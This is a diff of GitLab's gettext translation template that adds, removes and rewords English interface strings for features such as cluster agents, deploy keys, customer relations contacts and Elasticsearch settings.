-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
